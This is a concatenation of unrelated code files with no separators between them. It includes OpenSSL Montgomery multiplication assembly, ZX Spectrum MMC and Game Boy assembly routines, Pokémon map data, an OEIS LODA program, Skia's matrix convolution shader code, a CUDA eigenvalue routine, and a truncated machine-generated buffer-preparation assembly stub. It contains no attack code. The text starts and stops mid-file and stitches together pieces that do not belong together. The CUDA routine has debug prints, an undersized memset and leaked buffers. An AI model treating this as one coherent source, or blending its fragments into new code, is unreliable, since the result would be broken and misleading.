rbp jnz $L$sqr8x_copy_n pxor xmm0,xmm0 DB 102,72,15,110,207 DB 102,73,15,110,218 call bn_sqr8x_internal pxor xmm0,xmm0 lea rax,QWORD PTR[48+rsp] lea rdx,QWORD PTR[64+r9*2+rsp] shr r9,3+2 mov rsi,QWORD PTR[40+rsp] jmp $L$sqr8x_zero ALIGN 32 $L$sqr8x_zero:: movdqa XMMWORD PTR[rax],xmm0 movdqa XMMWORD PTR[16+rax],xmm0 movdqa XMMWORD PTR[32+rax],xmm0 movdqa XMMWORD PTR[48+rax],xmm0 lea rax,QWORD PTR[64+rax] movdqa XMMWORD PTR[rdx],xmm0 movdqa XMMWORD PTR[16+rdx],xmm0 movdqa XMMWORD PTR[32+rdx],xmm0 movdqa XMMWORD PTR[48+rdx],xmm0 lea rdx,QWORD PTR[64+rdx] dec r9 jnz $L$sqr8x_zero mov rax,1 mov r15,QWORD PTR[((-48))+rsi] mov r14,QWORD PTR[((-40))+rsi] mov r13,QWORD PTR[((-32))+rsi] mov r12,QWORD PTR[((-24))+rsi] mov rbp,QWORD PTR[((-16))+rsi] mov rbx,QWORD PTR[((-8))+rsi] lea rsp,QWORD PTR[rsi] $L$sqr8x_epilogue:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_bn_sqr8x_mont:: bn_sqr8x_mont ENDP DB 77,111,110,116,103,111,109,101,114,121,32,77,117,108,116,105 DB 112,108,105,99,97,116,105,111,110,32,102,111,114,32,120,56 DB 54,95,54,52,44,32,67,82,89,80,84,79,71,65,77,83 DB 32,98,121,32,60,97,112,112,114,111,64,111,112,101,110,115 DB 115,108,46,111,114,103,62,0 ALIGN 16 EXTERN __imp_RtlVirtualUnwind:NEAR ALIGN 16 mul_handler PROC PRIVATE push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD PTR[120+r8] mov rbx,QWORD PTR[248+r8] mov rsi,QWORD PTR[8+r9] mov r11,QWORD PTR[56+r9] mov r10d,DWORD PTR[r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jb $L$common_seh_tail mov rax,QWORD PTR[152+r8] mov r10d,DWORD PTR[4+r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jae $L$common_seh_tail mov r10,QWORD PTR[192+r8] mov rax,QWORD PTR[8+r10*8+rax] lea rax,QWORD PTR[48+rax] mov rbx,QWORD PTR[((-8))+rax] mov rbp,QWORD PTR[((-16))+rax] mov r12,QWORD PTR[((-24))+rax] mov r13,QWORD PTR[((-32))+rax] mov r14,QWORD PTR[((-40))+rax] mov r15,QWORD PTR[((-48))+rax] mov QWORD PTR[144+r8],rbx mov QWORD PTR[160+r8],rbp mov QWORD PTR[216+r8],r12 mov QWORD PTR[224+r8],r13 mov QWORD PTR[232+r8],r14 mov QWORD PTR[240+r8],r15 jmp $L$common_seh_tail mul_handler ENDP ALIGN 16 sqr_handler PROC PRIVATE push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD PTR[120+r8] mov rbx,QWORD PTR[248+r8] mov rsi,QWORD PTR[8+r9] mov r11,QWORD PTR[56+r9] mov r10d,DWORD PTR[r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jb $L$common_seh_tail mov rax,QWORD PTR[152+r8] mov r10d,DWORD PTR[4+r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jae $L$common_seh_tail mov rax,QWORD PTR[40+rax] mov rbx,QWORD PTR[((-8))+rax] mov rbp,QWORD PTR[((-16))+rax] mov r12,QWORD PTR[((-24))+rax] mov r13,QWORD PTR[((-32))+rax] mov r14,QWORD PTR[((-40))+rax] mov r15,QWORD PTR[((-48))+rax] mov QWORD PTR[144+r8],rbx mov QWORD PTR[160+r8],rbp mov QWORD PTR[216+r8],r12 mov QWORD PTR[224+r8],r13 mov QWORD PTR[232+r8],r14 mov QWORD PTR[240+r8],r15 $L$common_seh_tail:: mov rdi,QWORD PTR[8+rax] mov rsi,QWORD PTR[16+rax] mov QWORD PTR[152+r8],rax mov QWORD PTR[168+r8],rsi mov QWORD PTR[176+r8],rdi mov rdi,QWORD PTR[40+r9] mov rsi,r8 mov ecx,154 DD 0a548f3fch mov rsi,r9 xor rcx,rcx mov rdx,QWORD PTR[8+rsi] mov r8,QWORD PTR[rsi] mov r9,QWORD PTR[16+rsi] mov r10,QWORD PTR[40+rsi] lea r11,QWORD PTR[56+rsi] lea r12,QWORD PTR[24+rsi] mov QWORD PTR[32+rsp],r10 mov QWORD PTR[40+rsp],r11 mov QWORD PTR[48+rsp],r12 mov QWORD PTR[56+rsp],rcx call QWORD PTR[__imp_RtlVirtualUnwind] mov eax,1 add rsp,64 popfq pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx pop rdi pop rsi DB 0F3h,0C3h ;repret sqr_handler ENDP .text$ ENDS .pdata SEGMENT READONLY ALIGN(4) ALIGN 4 DD imagerel $L$SEH_begin_bn_mul_mont DD imagerel $L$SEH_end_bn_mul_mont DD imagerel $L$SEH_info_bn_mul_mont DD imagerel $L$SEH_begin_bn_mul4x_mont DD imagerel $L$SEH_end_bn_mul4x_mont DD imagerel $L$SEH_info_bn_mul4x_mont DD imagerel $L$SEH_begin_bn_sqr8x_mont DD imagerel $L$SEH_end_bn_sqr8x_mont DD imagerel $L$SEH_info_bn_sqr8x_mont .pdata ENDS .xdata SEGMENT READONLY ALIGN(8) ALIGN 8 $L$SEH_info_bn_mul_mont:: DB 9,0,0,0 DD imagerel mul_handler DD imagerel $L$mul_body,imagerel $L$mul_epilogue $L$SEH_info_bn_mul4x_mont:: DB 9,0,0,0 DD imagerel mul_handler DD imagerel $L$mul4x_body,imagerel $L$mul4x_epilogue $L$SEH_info_bn_sqr8x_mont:: DB 9,0,0,0 DD imagerel sqr_handler DD imagerel $L$sqr8x_body,imagerel $L$sqr8x_epilogue .xdata ENDS END
; ; ; ZX Spectrum ZXMMC specific routines ; code by Alessandro Poppi ; ported to z88dk by Stefano Bodrato - Mar 2010 ; ; $Id: mmc_read_multidata.asm,v 1.3 2016/06/10 21:28:03 dom Exp $ ; ; extern int __LIB__ mmc_read_multidata(struct MMC mmc_descriptor, long card_address, unsigned char *address, int block_count); ; ;----------------------------------------------------------------------------------------- ; READ MULTIPLE BLOCK OF DATA subroutine ; ; This routine only works for blocksize = 512 (two INI sequence). ; ; HL, DE= MSB, LSB of 32bit address in MMC memory ; B = number of 512 bytes blocks to be read ; IX = ram buffer address ; ; RETURN code in A: ; 0 = OK ; 1 = read_block command error ; 2 = no wait_data token from MMC ; ; DESTROYS AF, B ;----------------------------------------------------------------------------------------- ; SECTION code_clib PUBLIC mmc_read_multidata PUBLIC _mmc_read_multidata EXTERN mmc_write_command EXTERN mmc_send_command EXTERN mmc_waitdata_token EXTERN mmc_wait_response EXTERN clock32 EXTERN cs_high EXTERN __mmc_card_select INCLUDE "zxmmc.def" defc USE_INI = 1 ; 1 = code unrolling for maximum SD-CARD SPI port throughput ; 0 = slower but a little smaller tmp_reg: defs 7 mmc_read_multidata: _mmc_read_multidata: ld ix,2 add ix,sp ld l,(ix+8) ld h,(ix+9) ; MMC struct ld a,(hl) inc hl ; ptr to MMC mask to be used to select port ld a,(hl) ld (__mmc_card_select), a ld b,(ix+0) ; block count ld l,(ix+2) ld h,(ix+3) ; RAM ptr push hl ld e,(ix+4) ; LSB ld d,(ix+5) ; . ld l,(ix+6) ; . ld h,(ix+7) ; MSB pop ix ld (tmp_reg),bc ; temporary parameter's saveplace for retry function ld (tmp_reg+2),de ld (tmp_reg+4),hl ld a,5 ; # of retries ld (tmp_reg+6),a jr readtry_again read_bsod: ld a,MCC_TERMINATE_MULTI_READ call mmc_write_command call cs_high ; set cs high call clock32 ; 32 more clock cycles call clock32 ; 32 more clock cycles call clock32 ; 32 more clock cycles call clock32 ; 32 more clock cycles ld bc,(tmp_reg) ld de,(tmp_reg+2) ld hl,(tmp_reg+4) ld a,(tmp_reg+6) dec a ld (tmp_reg+6),a and a jr nz,readtry_again ;ld a,2 ; no data token from MMC ;ld hl,(tmp_reg+4) ; HL should be restored. DE was not modified. ld hl,2 ret readtry_again: ld a,MMC_READ_MULTIPLE_BLOCK ; Command code for multiple block read call mmc_send_command and a jr z,noerror ld l,a ; ERROR ld h,0 ret noerror: push ix pop hl ; INI uses HL as pointer jrhere: call mmc_waitdata_token cp $FE jr nz,read_bsod ; error read_mmc_multiblock: push bc ld bc,SPI_PORT ; B = 0 = 256 bytes for the first INI; C = I/O port IF USE_INI = 0 inir nop inir ENDIF IF USE_INI = 1 ini_loop1: ini ini ini ini ini ini ini ini ini ini ini ini ini ini ini ini jr nz,ini_loop1 ini_loop2: ini ini ini ini ini ini ini ini ini ini ini ini ini ini ini ini jr nz,ini_loop2 ENDIF nop nop in a,(SPI_PORT) ; CRC nop nop in a,(SPI_PORT) ; CRC pop bc djnz jrhere ld a,MCC_TERMINATE_MULTI_READ call mmc_write_command in a,(SPI_PORT) ; CRC? nop nop in a,(SPI_PORT) call mmc_wait_response ; waits for the MMC to reply "0" ld b,a ; error code call cs_high ; set cs high call clock32 ; 32 more clock cycles call clock32 ; 32 more clock cycles call clock32 ; 32 more clock cycles call clock32 ; 32 more clock cycles ;ld hl,(tmp_reg+4) ; HL should be restored. DE was not modified. ;ld a,b ld l,b ; error code ld h,0 ret
.size 8000 .text@48 ei jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld c, 44 ld b, 90 lbegin_waitly90: ldff a, (c) cmp a, b jrnz lbegin_waitly90 ld a, 11 ldff(40), a ld hl, 8000 ld b, 08 lbegin_settile0data: ld a, 00 ld(hl++), a ld a, 7e ld(hl++), a dec b jrnz lbegin_settile0data ld b, 08 lbegin_settile1data: ld a, 00 ld(hl++), a ld a, 81 ld(hl++), a dec b jrnz lbegin_settile1data ld b, 08 lbegin_settile2data: ld a, ff ld(hl++), a ld a, 81 ld(hl++), a dec b jrnz lbegin_settile2data ld b, 08 lbegin_settile3data: ld a, ff ld(hl++), a ld a, 7e ld(hl++), a dec b jrnz lbegin_settile3data ld c, 12 ld hl, 9800 lbegin_set_bgmap: ld b, 06 ld a, 02 lbegin_set_bgmapline_tilenos0to11: ld(hl++), a inc a ld(hl++), a dec a dec b jrnz lbegin_set_bgmapline_tilenos0to11 ld b, 0a lbegin_set_bgmapline_tilenos12to31: xor a, a ld(hl++), a inc a ld(hl++), a dec b jrnz lbegin_set_bgmapline_tilenos12to31 dec c jrnz lbegin_set_bgmap ld a, e4 ldff(47), a ld a, 80 ldff(68), a ld c, 69 xor a, a ldff(c), a ldff(c), a ld a, 94 ldff(c), a ld a, 52 ldff(c), a ld a, 08 ldff(c), a ld a, 21 ldff(c), a ld a, ff ldff(c), a ldff(c), a ld a, 20 ldff(41), a ld a, 02 ldff(ff), a ld c, 43 ld a, 91 ldff(40), a ei ld a, 03 .text@1000 lstatint: ldff(c), a ld a, 67 .text@1022 ldff(c), a pop hl ld a, c0 .text@1066 ldff(c), a ld a, 03
RedsHouse1F_Object: db $a ; border block def_warps warp 2, 7, 0, LAST_MAP ; exit1 warp 3, 7, 0, LAST_MAP ; exit2 warp 7, 1, 0, REDS_HOUSE_2F ; staircase def_signs sign 3, 1, 2 ; TV def_objects object SPRITE_MOM, 5, 4, STAY, LEFT, 1 ; Mom def_warps_to REDS_HOUSE_1F
SECTION code_fp_dai32 PUBLIC ___dai32_xfmul EXTERN xfmul defc ___dai32_xfmul = xfmul
#ruledef test { ld {x} => 0x55 @ x`8 } ld var ; = 0x5511 var = 0x11
Route16Gate2F_Object: db $a ; border block db 1 ; warps warp 7, 7, 8, ROUTE_16_GATE_1F db 2 ; signs sign 1, 2, 3 ; Route16GateUpstairsText3 sign 6, 2, 4 ; Route16GateUpstairsText4 db 2 ; objects object SPRITE_YOUNG_BOY, 4, 2, STAY, NONE, 1 ; person object SPRITE_LITTLE_GIRL, 2, 5, WALK, 2, 2 ; person ; warp-to warp_to 7, 7, ROUTE_16_GATE_2F_WIDTH ; ROUTE_16_GATE_1F
; A213758: Antidiagonal sums of the convolution array A213756. ; 1,9,40,130,355,871,1994,4360,9245,19205,39356,79934,161415,324755,651870,1306596,2616609,5237265,10479280,20964090,41934571,83876479,167761330,335532160,671075045,1342162141,2684337764,5368690550,10737397775,21474813995,42949648326,85899319004,171798662505,343597351785,687194732760,1374389497266,2748779028979,5497558095255,10995116230810,21990232505080,43980465056941,87960930164149,175921860382220,351843720822190,703687441706135,1407374883478211,2814749767026734,5629499534128340 mov $1,2 lpb $0,1 mov $2,$0 cal $2,213764 ; Antidiagonal sums of the convolution array A213762. sub $0,1 sub $1,1 add $1,$2 add $1,1 lpe sub $1,1
/* * Copyright 2014 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "GrMatrixConvolutionEffect.h" #include "GrTexture.h" #include "GrTextureProxy.h" #include "glsl/GrGLSLFragmentProcessor.h" #include "glsl/GrGLSLFragmentShaderBuilder.h" #include "glsl/GrGLSLProgramDataManager.h" #include "glsl/GrGLSLUniformHandler.h" #include "../private/GrGLSL.h" class GrGLMatrixConvolutionEffect : public GrGLSLFragmentProcessor { public: void emitCode(EmitArgs&) override; static inline void GenKey(const GrProcessor&, const GrShaderCaps&, GrProcessorKeyBuilder*); protected: void onSetData(const GrGLSLProgramDataManager&, const GrFragmentProcessor&) override; private: typedef GrGLSLProgramDataManager::UniformHandle UniformHandle; UniformHandle fKernelUni; UniformHandle fImageIncrementUni; UniformHandle fKernelOffsetUni; UniformHandle fGainUni; UniformHandle fBiasUni; GrTextureDomain::GLDomain fDomain; typedef GrGLSLFragmentProcessor INHERITED; }; void GrGLMatrixConvolutionEffect::emitCode(EmitArgs& args) { const GrMatrixConvolutionEffect& mce = args.fFp.cast<GrMatrixConvolutionEffect>(); const GrTextureDomain& domain = mce.domain(); int kWidth = mce.kernelSize().width(); int kHeight = mce.kernelSize().height(); int arrayCount = (kWidth * kHeight + 3) / 4; SkASSERT(4 * arrayCount >= kWidth * kHeight); GrGLSLUniformHandler* uniformHandler = args.fUniformHandler; fImageIncrementUni = uniformHandler->addUniform(kFragment_GrShaderFlag, kHalf2_GrSLType, "ImageIncrement"); fKernelUni = uniformHandler->addUniformArray(kFragment_GrShaderFlag, kHalf4_GrSLType, "Kernel", arrayCount); fKernelOffsetUni = uniformHandler->addUniform(kFragment_GrShaderFlag, kHalf2_GrSLType, "KernelOffset"); fGainUni = uniformHandler->addUniform(kFragment_GrShaderFlag, kHalf_GrSLType, "Gain"); fBiasUni = uniformHandler->addUniform(kFragment_GrShaderFlag, kHalf_GrSLType, "Bias"); const char* kernelOffset = uniformHandler->getUniformCStr(fKernelOffsetUni); const char* imgInc = uniformHandler->getUniformCStr(fImageIncrementUni); const char* kernel = uniformHandler->getUniformCStr(fKernelUni); const char* gain = uniformHandler->getUniformCStr(fGainUni); const char* bias = uniformHandler->getUniformCStr(fBiasUni); GrGLSLFPFragmentBuilder* fragBuilder = args.fFragBuilder; SkString coords2D = fragBuilder->ensureCoords2D(args.fTransformedCoords[0]); fragBuilder->codeAppend("half4 sum = half4(0, 0, 0, 0);"); fragBuilder->codeAppendf("float2 coord = %s - %s * %s;", coords2D.c_str(), kernelOffset, imgInc); fragBuilder->codeAppend("half4 c;"); const char* kVecSuffix[4] = { ".x", ".y", ".z", ".w" }; for (int y = 0; y < kHeight; y++) { for (int x = 0; x < kWidth; x++) { GrGLSLShaderBuilder::ShaderBlock block(fragBuilder); int offset = y*kWidth + x; fragBuilder->codeAppendf("half k = %s[%d]%s;", kernel, offset / 4, kVecSuffix[offset & 0x3]); SkString coord; coord.printf("coord + half2(%d, %d) * %s", x, y, imgInc); fDomain.sampleTexture(fragBuilder, uniformHandler, args.fShaderCaps, domain, "c", coord, args.fTexSamplers[0]); if (!mce.convolveAlpha()) { fragBuilder->codeAppend("c.rgb /= c.a;"); fragBuilder->codeAppend("c.rgb = clamp(c.rgb, 0.0, 1.0);"); } fragBuilder->codeAppend("sum += c * k;"); } } if (mce.convolveAlpha()) { fragBuilder->codeAppendf("%s = sum * %s + %s;", args.fOutputColor, gain, bias); fragBuilder->codeAppendf("%s.a = clamp(%s.a, 0, 1);", args.fOutputColor, args.fOutputColor); fragBuilder->codeAppendf("%s.rgb = clamp(%s.rgb, 0.0, %s.a);", args.fOutputColor, args.fOutputColor, args.fOutputColor); } else { fDomain.sampleTexture(fragBuilder, uniformHandler, args.fShaderCaps, domain, "c", coords2D, args.fTexSamplers[0]); fragBuilder->codeAppendf("%s.a = c.a;", args.fOutputColor); fragBuilder->codeAppendf("%s.rgb = clamp(sum.rgb * %s + %s, 0, 1);", args.fOutputColor, gain, bias); fragBuilder->codeAppendf("%s.rgb *= %s.a;", args.fOutputColor, args.fOutputColor); } fragBuilder->codeAppendf("%s *= %s;\n", args.fOutputColor, args.fInputColor); } void GrGLMatrixConvolutionEffect::GenKey(const GrProcessor& processor, const GrShaderCaps&, GrProcessorKeyBuilder* b) { const GrMatrixConvolutionEffect& m = processor.cast<GrMatrixConvolutionEffect>(); SkASSERT(m.kernelSize().width() <= 0x7FFF && m.kernelSize().height() <= 0xFFFF); uint32_t key = m.kernelSize().width() << 16 | m.kernelSize().height(); key |= m.convolveAlpha() ? 1U << 31 : 0; b->add32(key); b->add32(GrTextureDomain::GLDomain::DomainKey(m.domain())); } void GrGLMatrixConvolutionEffect::onSetData(const GrGLSLProgramDataManager& pdman, const GrFragmentProcessor& processor) { const GrMatrixConvolutionEffect& conv = processor.cast<GrMatrixConvolutionEffect>(); GrSurfaceProxy* proxy = conv.textureSampler(0).proxy(); GrTexture* texture = proxy->priv().peekTexture(); float imageIncrement[2]; float ySign = proxy->origin() == kTopLeft_GrSurfaceOrigin ? 1.0f : -1.0f; imageIncrement[0] = 1.0f / texture->width(); imageIncrement[1] = ySign / texture->height(); pdman.set2fv(fImageIncrementUni, 1, imageIncrement); pdman.set2fv(fKernelOffsetUni, 1, conv.kernelOffset()); int kernelCount = conv.kernelSize().width() * conv.kernelSize().height(); int arrayCount = (kernelCount + 3) / 4; SkASSERT(4 * arrayCount >= kernelCount); pdman.set4fv(fKernelUni, arrayCount, conv.kernel()); pdman.set1f(fGainUni, conv.gain()); pdman.set1f(fBiasUni, conv.bias()); fDomain.setData(pdman, conv.domain(), proxy); } GrMatrixConvolutionEffect::GrMatrixConvolutionEffect(sk_sp<GrTextureProxy> proxy, const SkIRect& bounds, const SkISize& kernelSize, const SkScalar* kernel, SkScalar gain, SkScalar bias, const SkIPoint& kernelOffset, GrTextureDomain::Mode tileMode, bool convolveAlpha) // To advertise either the modulation or opaqueness optimizations we'd have to examine the // parameters. : INHERITED(kGrMatrixConvolutionEffect_ClassID, kNone_OptimizationFlags) , fCoordTransform(proxy.get()) , fDomain(proxy.get(), GrTextureDomain::MakeTexelDomainForMode(bounds, tileMode), tileMode) , fTextureSampler(std::move(proxy)) , fKernelSize(kernelSize) , fGain(SkScalarToFloat(gain)) , fBias(SkScalarToFloat(bias) / 255.0f) , fConvolveAlpha(convolveAlpha) { this->addCoordTransform(&fCoordTransform); this->addTextureSampler(&fTextureSampler); for (int i = 0; i < kernelSize.width() * kernelSize.height(); i++) { fKernel[i] = SkScalarToFloat(kernel[i]); } fKernelOffset[0] = static_cast<float>(kernelOffset.x()); fKernelOffset[1] = static_cast<float>(kernelOffset.y()); } GrMatrixConvolutionEffect::GrMatrixConvolutionEffect(const GrMatrixConvolutionEffect& that) : INHERITED(kGrMatrixConvolutionEffect_ClassID, kNone_OptimizationFlags) , fCoordTransform(that.fCoordTransform) , fDomain(that.fDomain) , fTextureSampler(that.fTextureSampler) , fKernelSize(that.fKernelSize) , fGain(that.fGain) , fBias(that.fBias) , fConvolveAlpha(that.fConvolveAlpha) { this->addCoordTransform(&fCoordTransform); this->addTextureSampler(&fTextureSampler); memcpy(fKernel, that.fKernel, sizeof(float) * fKernelSize.width() * fKernelSize.height()); memcpy(fKernelOffset, that.fKernelOffset, sizeof(fKernelOffset)); } std::unique_ptr<GrFragmentProcessor> GrMatrixConvolutionEffect::clone() const { return std::unique_ptr<GrFragmentProcessor>(new GrMatrixConvolutionEffect(*this)); } void GrMatrixConvolutionEffect::onGetGLSLProcessorKey(const GrShaderCaps& caps, GrProcessorKeyBuilder* b) const { GrGLMatrixConvolutionEffect::GenKey(*this, caps, b); } GrGLSLFragmentProcessor* GrMatrixConvolutionEffect::onCreateGLSLInstance() const { return new GrGLMatrixConvolutionEffect; } bool GrMatrixConvolutionEffect::onIsEqual(const GrFragmentProcessor& sBase) const { const GrMatrixConvolutionEffect& s = sBase.cast<GrMatrixConvolutionEffect>(); return fKernelSize == s.kernelSize() && !memcmp(fKernel, s.kernel(), fKernelSize.width() * fKernelSize.height() * sizeof(float)) && fGain == s.gain() && fBias == s.bias() && !memcmp(fKernelOffset, s.kernelOffset(), sizeof(fKernelOffset)) && fConvolveAlpha == s.convolveAlpha() && fDomain == s.domain(); } static void fill_in_2D_gaussian_kernel(float* kernel, int width, int height, SkScalar sigmaX, SkScalar sigmaY) { SkASSERT(width * height <= MAX_KERNEL_SIZE); const float sigmaXDenom = 1.0f / (2.0f * SkScalarToFloat(SkScalarSquare(sigmaX))); const float sigmaYDenom = 1.0f / (2.0f * SkScalarToFloat(SkScalarSquare(sigmaY))); const int xRadius = width / 2; const int yRadius = height / 2; float sum = 0.0f; for (int x = 0; x < width; x++) { float xTerm = static_cast<float>(x - xRadius); xTerm = xTerm * xTerm * sigmaXDenom; for (int y = 0; y < height; y++) { float yTerm = static_cast<float>(y - yRadius); float xyTerm = sk_float_exp(-(xTerm + yTerm * yTerm * sigmaYDenom)); // Note that the constant term (1/(sqrt(2*pi*sigma^2)) of the Gaussian // is dropped here, since we renormalize the kernel below. kernel[y * width + x] = xyTerm; sum += xyTerm; } } // Normalize the kernel float scale = 1.0f / sum; for (int i = 0; i < width * height; ++i) { kernel[i] *= scale; } } // Static function to create a 2D convolution std::unique_ptr<GrFragmentProcessor> GrMatrixConvolutionEffect::MakeGaussian( sk_sp<GrTextureProxy> proxy, const SkIRect& bounds, const SkISize& kernelSize, SkScalar gain, SkScalar bias, const SkIPoint& kernelOffset, GrTextureDomain::Mode tileMode, bool convolveAlpha, SkScalar sigmaX, SkScalar sigmaY) { float kernel[MAX_KERNEL_SIZE]; fill_in_2D_gaussian_kernel(kernel, kernelSize.width(), kernelSize.height(), sigmaX, sigmaY); return std::unique_ptr<GrFragmentProcessor>( new GrMatrixConvolutionEffect(std::move(proxy), bounds, kernelSize, kernel, gain, bias, kernelOffset, tileMode, convolveAlpha)); } GR_DEFINE_FRAGMENT_PROCESSOR_TEST(GrMatrixConvolutionEffect); #if GR_TEST_UTILS std::unique_ptr<GrFragmentProcessor> GrMatrixConvolutionEffect::TestCreate(GrProcessorTestData* d) { int texIdx = d->fRandom->nextBool() ? GrProcessorUnitTest::kSkiaPMTextureIdx : GrProcessorUnitTest::kAlphaTextureIdx; sk_sp<GrTextureProxy> proxy = d->textureProxy(texIdx); int width = d->fRandom->nextRangeU(1, MAX_KERNEL_SIZE); int height = d->fRandom->nextRangeU(1, MAX_KERNEL_SIZE / width); SkISize kernelSize = SkISize::Make(width, height); std::unique_ptr<SkScalar[]> kernel(new SkScalar[width * height]); for (int i = 0; i < width * height; i++) { kernel.get()[i] = d->fRandom->nextSScalar1(); } SkScalar gain = d->fRandom->nextSScalar1(); SkScalar bias = d->fRandom->nextSScalar1(); SkIPoint kernelOffset = SkIPoint::Make(d->fRandom->nextRangeU(0, kernelSize.width()), d->fRandom->nextRangeU(0, kernelSize.height())); SkIRect bounds = SkIRect::MakeXYWH(d->fRandom->nextRangeU(0, proxy->width()), d->fRandom->nextRangeU(0, proxy->height()), d->fRandom->nextRangeU(0, proxy->width()), d->fRandom->nextRangeU(0, proxy->height())); GrTextureDomain::Mode tileMode = static_cast<GrTextureDomain::Mode>(d->fRandom->nextRangeU(0, 2)); bool convolveAlpha = d->fRandom->nextBool(); return GrMatrixConvolutionEffect::Make(std::move(proxy), bounds, kernelSize, kernel.get(), gain, bias, kernelOffset, tileMode, convolveAlpha); } #endif
#include "common.h" #include "mixedOperations.h" namespace matCUDA { // eig decomposition template <typename TElement> cublasStatus_t mixedOperations<TElement>::eig( Array<TElement> *A, Array<TElement> *eigvec ) { cusolverDnHandle_t handleCusolver; CUSOLVER_CALL( cusolverDnCreate(&handleCusolver) ); cublasHandle_t handleCublas; CUBLAS_CALL( cublasCreate( &handleCublas ) ); cusolverOperations<TElement> opCusolver; cublasOperations<TElement> opCublas; mixedOperations<TElement> test; int M = A->getDim(0); int N = A->getDim(1); int minMN = std::min(M,N); TElement alpha = 1, beta = 0; TElement *d_A, *TAU, *Workspace, *d_Q, *d_R; CUDA_CALL( cudaMalloc(&d_A, M * N * sizeof(TElement)) ); CUDA_CALL( cudaMalloc(&d_Q, M * N * sizeof(TElement)) ); CUDA_CALL( cudaMalloc(&d_R, M * N * sizeof(TElement)) ); CUDA_CALL( cudaMemcpy(d_A, A->data(), M * N * sizeof(TElement), cudaMemcpyHostToDevice) ); int Lwork = 0; CUSOLVER_CALL( opCusolver.cusolverDnTgeqrf_bufferSize(&handleCusolver, M, N, d_A, M, &Lwork) ); CUDA_CALL( cudaMalloc(&TAU, minMN * sizeof(TElement)) ); CUDA_CALL(cudaMalloc(&Workspace, Lwork * sizeof(TElement))); int *devInfo; CUDA_CALL( cudaMalloc(&devInfo, sizeof(int)) ); CUDA_CALL( cudaMemset( (void*)devInfo, 0, 1 ) ); Array<TElement> aux( M, N ); aux = 0; aux.print(); CUDA_CALL( cudaMemcpy(d_Q, aux.data(), M * N * sizeof(TElement), cudaMemcpyHostToDevice) ); int devInfo_h = 0; for( int i = 0; i < EIG_MAX_ITER; i++ ) { CUSOLVER_CALL( opCusolver.cusolverDnTgeqrf(&handleCusolver, M, N, d_A, M, TAU, Workspace, Lwork, devInfo) ); CUDA_CALL( cudaMemcpy(&devInfo_h, devInfo, sizeof(int), cudaMemcpyDeviceToHost) ); if (devInfo_h != 0) return CUBLAS_STATUS_INTERNAL_ERROR; // evaluate R CUDA_CALL( cudaMemcpy( d_R, d_A, M * N * sizeof(TElement), cudaMemcpyDeviceToDevice ) ); zeros_under_diag( d_R, std::min( M, N ) ); // evaluate Q cuda_eye<TElement>( d_Q, minMN ); CUSOLVER_CALL( opCusolver.cusolverDnTormqr(&handleCusolver, CUBLAS_SIDE_LEFT, CUBLAS_OP_N, M, N, std::min(M, N), d_A, M, TAU, d_Q, M, Workspace, Lwork, devInfo) ); // checkout CUDA_CALL( cudaMemcpy( aux.data(), d_Q, M * N * sizeof(TElement), cudaMemcpyDeviceToHost ) ); aux.print(); // evaluate new A = R*Q CUBLAS_CALL( opCublas.cublasTgemm(handleCublas, CUBLAS_OP_N, CUBLAS_OP_N, minMN, minMN, minMN, &alpha, d_R, minMN, d_Q, minMN, &beta, d_A, minMN) ); //// checkout //CUDA_CALL( cudaMemcpy( aux.data(), d_R, M * N * sizeof(TElement), cudaMemcpyDeviceToHost ) ); //aux.print(); } CUDA_CALL( cudaDeviceSynchronize() ); CUDA_CALL( cudaMemcpy( A->data(), d_A, M * N * sizeof(TElement), cudaMemcpyDeviceToHost ) ); CUDA_CALL( cudaMemcpy( eigvec->data(), d_Q, M * N * sizeof(TElement), cudaMemcpyDeviceToHost ) ); CUDA_CALL( cudaFree( d_A ) ); CUDA_CALL( cudaFree( d_Q ) ); CUDA_CALL( cudaFree( d_R ) ); CUSOLVER_CALL( cusolverDnDestroy(handleCusolver) ); CUBLAS_CALL( cublasDestroy(handleCublas) ); return CUBLAS_STATUS_SUCCESS; } template cublasStatus_t mixedOperations<int>::eig( Array<int> *A, Array<int> *eigenvectors ); template cublasStatus_t mixedOperations<float>::eig( Array<float> *A, Array<float> *eigenvectors ); template cublasStatus_t mixedOperations<double>::eig( Array<double> *A, Array<double> *eigenvectors ); template cublasStatus_t mixedOperations<ComplexFloat>::eig( Array<ComplexFloat> *A, Array<ComplexFloat> *eigenvectors ); template cublasStatus_t mixedOperations<ComplexDouble>::eig( Array<ComplexDouble> *A, Array<ComplexDouble> *eigenvectors ); }
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x18ee8, %rdx sub $24792, %rbp mov $0x6162636465666768, %r14 movq %r14, %xmm2 movups %xmm2, (%rdx) nop nop nop nop nop dec %r13 lea addresses_D_ht+0x12268, %rsi nop nop nop sub $9695, %r14 mov (%rsi), %ax nop cmp %rax, %rax lea addresses_A_ht+0xa8e8, %rsi nop nop nop nop nop xor %rax, %rax vmovups (%rsi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r13 nop nop nop nop sub $21616, %rsi lea addresses_A_ht+0x5868, %rsi lea addresses_UC_ht+0x193b8, %rdi nop nop nop nop nop sub %r13, %r13 mov $117, %rcx rep movsb nop inc %r13 lea addresses_UC_ht+0x16528, %rsi lea addresses_normal_ht+0x1c5c8, %rdi clflush (%rdi) nop nop add $14361, %rax mov $78, %rcx rep movsl nop nop nop nop inc %rax lea addresses_WC_ht+0x10b68, %rax nop dec %rdx movw $0x6162, (%rax) nop sub %r13, %r13 lea addresses_A_ht+0x15aa8, %rsi lea addresses_D_ht+0x1c968, %rdi nop cmp $57095, %rax mov $5, %rcx rep movsq nop nop nop xor $32209, %r14 lea addresses_normal_ht+0x8068, 